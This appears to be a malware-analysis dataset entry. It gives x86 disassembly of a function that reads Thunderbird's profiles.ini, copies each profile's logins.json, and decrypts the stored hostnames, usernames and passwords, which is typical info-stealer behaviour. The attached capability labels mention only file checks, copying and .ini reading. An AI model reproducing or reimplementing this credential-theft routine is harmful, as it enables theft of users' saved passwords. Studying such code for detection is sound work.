Function at 0x40cd01
Capabilities:
Check if file exists
Copy file
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4d0
push ebx
push esi
push edi
mov esi, ecx
lea ecx, [ebp - 0x10]
push str.Profile
mov dword [ebp - 0x14], esi
call fcn.0040460a
push 0x208
xor ebx, ebx
lea eax, [ebp - 0x4cc]
push ebx
push eax
call fcn.00401293
push 0x104
lea eax, [ebp - 0x2c4]
mov dword [ebp - 0x9c], ebx
push ebx
push eax
mov edi, ebx
call fcn.00401293
add esp, 0x14
lea edx, [ebp - 0x2c4]
mov ecx, str.thunderbird.exe
call fcn.0040eb8e
pop ecx
lea eax, [ebp - 0x2c4]
push eax
lea ecx, [ebp - 0x34]
call fcn.0040460a
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x2c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push ecx
lea eax, [ebp - 0x34]
mov ecx, esp
push eax
call fcn.00404656
mov ecx, esi
call fcn.0040df9d
test eax, eax
jne 0x40cdba
push ecx
lea eax, [ebp - 0x34]
mov ecx, esp
push eax
call fcn.00404656
mov ecx, esi
call fcn.0040df9d
test eax, eax
jne 0x40cdba
mov esi, dword [ebp - 0x10]
jmp 0x40d359
push str.Thunderbird_
lea ecx, [ebp + 8]
call fcn.004043fa
mov dword [ebp - 0x1c], ebx
cmp dword [ebp + 8], ebx
je 0x40cdf1
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp + 8]
mov dword [ebp - 0x1c], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.profiles.ini
lea ecx, [ebp - 0x1c]
call fcn.004043fa
push str.Profile
lea ecx, [ebp - 0x28]
call fcn.0040460a
push eax
lea ecx, [ebp - 0x10]
call fcn.004043c7
mov ecx, dword [ebp - 0x28]
call fcn.00406f1d
push ebx
lea ecx, [ebp - 0x10]
call fcn.00404477
push dword [ebp - 0x1c]
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 0x4cc]
push 0x104
push eax
push ebx
push str.Path
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
jmp 0x40d33e
inc edi
lea ecx, [ebp - 0x38]
push str.Profile
mov dword [ebp - 0x98], edi
call fcn.0040460a
push eax
lea ecx, [ebp - 0x10]
call fcn.004043c7
mov ecx, dword [ebp - 0x38]
call fcn.00406f1d
push edi
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x38], ebx
call fcn.00404477
cmp dword [ebp + 8], 0
mov dword [ebp - 0x24], ebx
je 0x40cea5
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp + 8]
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x4cc]
push eax
lea ecx, [ebp - 0x24]
call fcn.004043fa
mov esi, dword [ebp - 0x24]
mov edi, ebx
mov dword [ebp - 0x20], edi
test esi, esi
je 0x40cf2b
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
push ebx
push ebx
push eax
push esi
push 0x200
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
mov ecx, edi
call fcn.00406f2c
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
push ecx
push ecx
push edi
push ebx
push eax
push esi
push ecx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
lea ecx, [ebp - 0xa0]
call fcn.0040434f
push eax
lea ecx, [ebp - 0x20]
call fcn.0040415d
mov ecx, dword [ebp - 0xa0]
call fcn.00406f1d
mov ecx, ebx
call fcn.00406f1d
mov edi, dword [ebp - 0x20]
xor ebx, ebx
mov eax, dword [ebp - 0x14]
push edi
mov eax, dword [eax + 0x84]
call eax
pop ecx
test eax, eax
jne 0x40d30b
mov eax, dword [ebp - 0x14]
call dword [eax + 0x9c]
mov ecx, eax
mov dword [ebp - 0x94], ecx
test ecx, ecx
je 0x40d30b
mov eax, dword [ebp - 0x14]
push ebx
push 1
push ecx
mov eax, dword [eax + 0x98]
call eax
add esp, 0xc
test eax, eax
jne 0x40d30b
mov dword [ebp - 0xc], ebx
test esi, esi
je 0x40cf98
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push esi
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.logins.json
lea ecx, [ebp - 0xc]
call fcn.004043fa
push 0x1a
pop edx
lea ecx, [ebp - 8]
call fcn.00413915
push 0x4194e4
lea ecx, [ebp - 8]
call fcn.004043fa
push 8
pop edx
lea ecx, [ebp - 0x3c]
call fcn.004044c4
push eax
lea ecx, [ebp - 8]
call fcn.004042c5
mov ecx, dword [ebp - 0x3c]
call fcn.00406f1d
push str..tmp
lea ecx, [ebp - 8]
mov dword [ebp - 0x3c], ebx
call fcn.004043fa
push ebx
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40d006
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0xc]
call fcn.004043c7
lea ecx, [ebp - 0xb8]
call fcn.00413fc0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0xb4], ebx
test eax, eax
je 0x40d041
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406e8d
push dword [ebp - 0xc]
mov dword [ebp - 0xb4], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ecx
push 0xc0000000
lea ecx, [ebp - 0xb8]
call fcn.00413f4f
lea ecx, [ebp - 0xb8]
test eax, eax
je 0x40d2f3
push ebx
push dword [ebp - 0xa4]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], ebx
push eax
mov dword [ebp - 0x2c], ebx
call fcn.00413b7c
push str.encryptedUsername
lea ecx, [ebp - 0x68]
call fcn.0040434f
mov ebx, eax
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x64]
push eax
call fcn.00403f58
mov edx, ebx
mov ecx, eax
call fcn.0040c354
mov ecx, dword [ebp - 0x64]
mov ebx, eax
mov dword [ebp - 0x18], eax
call fcn.00406f1d
mov ecx, dword [ebp - 0x68]
call fcn.00406f1d
test ebx, ebx
je 0x40d27f
mov edi, dword [ebp - 0x14]
xor esi, esi
push str.hostname
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], esi
call fcn.0040434f
mov ebx, eax
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x6c]
push eax
call fcn.00403f58
push dword [ebp - 0x18]
mov edx, eax
lea ecx, [ebp - 0x28]
push ebx
call fcn.0040c38d
pop ecx
pop ecx
mov ecx, dword [ebp - 0x6c]
call fcn.00406f1d
mov ecx, dword [ebp - 0x70]
call fcn.00406f1d
push str.encryptedUsername
lea ecx, [ebp - 0x78]
call fcn.0040434f
mov ebx, eax
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x74]
push eax
call fcn.00403f58
push dword [ebp - 0x18]
mov edx, eax
lea ecx, [ebp - 0x50]
push ebx
call fcn.0040c38d
pop ecx
pop ecx
mov ecx, dword [ebp - 0x74]
call fcn.00406f1d
mov ecx, dword [ebp - 0x78]
call fcn.00406f1d
push str.encryptedPassword
lea ecx, [ebp - 0x80]
call fcn.0040434f
mov ebx, eax
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x7c]
push eax
call fcn.00403f58
push dword [ebp - 0x18]
mov edx, eax
lea ecx, [ebp - 0x4c]
push ebx
call fcn.0040c38d
pop ecx
pop ecx
mov ecx, dword [ebp - 0x7c]
call fcn.00406f1d
mov ecx, dword [ebp - 0x80]
call fcn.00406f1d
lea eax, [ebp - 0x84]
mov ecx, edi
push eax
push dword [ebp - 0x50]
call fcn.0040da6a
lea eax, [ebp - 0x8c]
mov ecx, edi
push eax
push dword [ebp - 0x4c]
call fcn.0040da6a
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x28]
call fcn.004040d5
push eax
lea ecx, [ebp - 0x60]
call fcn.004043c7
mov ecx, dword [ebp - 0x40]
call fcn.00406f1d
push dword [ebp - 0x84]
mov dword [ebp - 0x40], esi
lea ecx, [ebp - 0x88]
call fcn.0040434f
lea ecx, [ebp - 0x44]
push ecx
mov ecx, eax
call fcn.004040d5
push eax
lea ecx, [ebp - 0x5c]
call fcn.004043c7
mov ecx, dword [ebp - 0x44]
call fcn.00406f1d
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0x44], esi
call fcn.00406f1d
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x90]
call fcn.0040434f
lea ecx, [ebp - 0x48]
push ecx
mov ecx, eax
call fcn.004040d5
push eax
lea ecx, [ebp - 0x58]
call fcn.004043c7
mov ecx, dword [ebp - 0x48]
call fcn.00406f1d
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x48], esi
call fcn.00406f1d
sub esp, 0x10
mov dword [ebp - 0x54], 4
lea eax, [ebp - 0x60]
mov ecx, esp
push eax
call fcn.00402790
mov ecx, edi
call fcn.0040283b
mov ebx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x4c]
dec ebx
mov dword [ebp - 0x18], ebx
call fcn.00406f1d
mov ecx, dword [ebp - 0x50]
call fcn.00406f1d
mov ecx, dword [ebp - 0x28]
call fcn.00406f1d
lea ecx, [ebp - 0x60]
call fcn.004015d4
test ebx, ebx
jne 0x40d0bc
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x20]
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
xor ebx, ebx
test eax, eax
je 0x40d2c5
push ecx
mov eax, esp
mov dword [ebp - 0x20], eax
mov dword [eax], ebx
cmp dword [ebp - 8], ebx
je 0x40d2bf
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
mov ecx, dword [ebp - 0x20]
push dword [ebp - 8]
push eax
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
call fcn.00413c34
pop ecx
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x94]
call dword [eax + 0xa0]
mov eax, dword [ebp - 0x14]
pop ecx
call dword [eax + 0x88]
mov ecx, dword [ebp - 0x30]
test ecx, ecx
je 0x40d2ea
call fcn.00406f66
mov dword [ebp - 0x30], ebx
lea ecx, [ebp - 0xb8]
call fcn.00413c16
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ebx
call fcn.00406f1d
mov ecx, edi
call fcn.00406f1d
mov ecx, esi
call fcn.00406f1d
push dword [ebp - 0x1c]
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 0x4cc]
push 0x104
push eax
push ebx
push str.Path
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov edi, dword [ebp - 0x98]
test eax, eax
jne 0x40ce49
mov ecx, dword [ebp - 0x14]
call fcn.0040df46
mov ecx, dword [ebp - 0x1c]
xor ebx, ebx
inc ebx
call fcn.00406f1d
mov ecx, dword [ebp - 0x34]
call fcn.00406f1d
mov ecx, esi
call fcn.00406f1d
mov ecx, dword [ebp + 8]
call fcn.00406f1d
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 4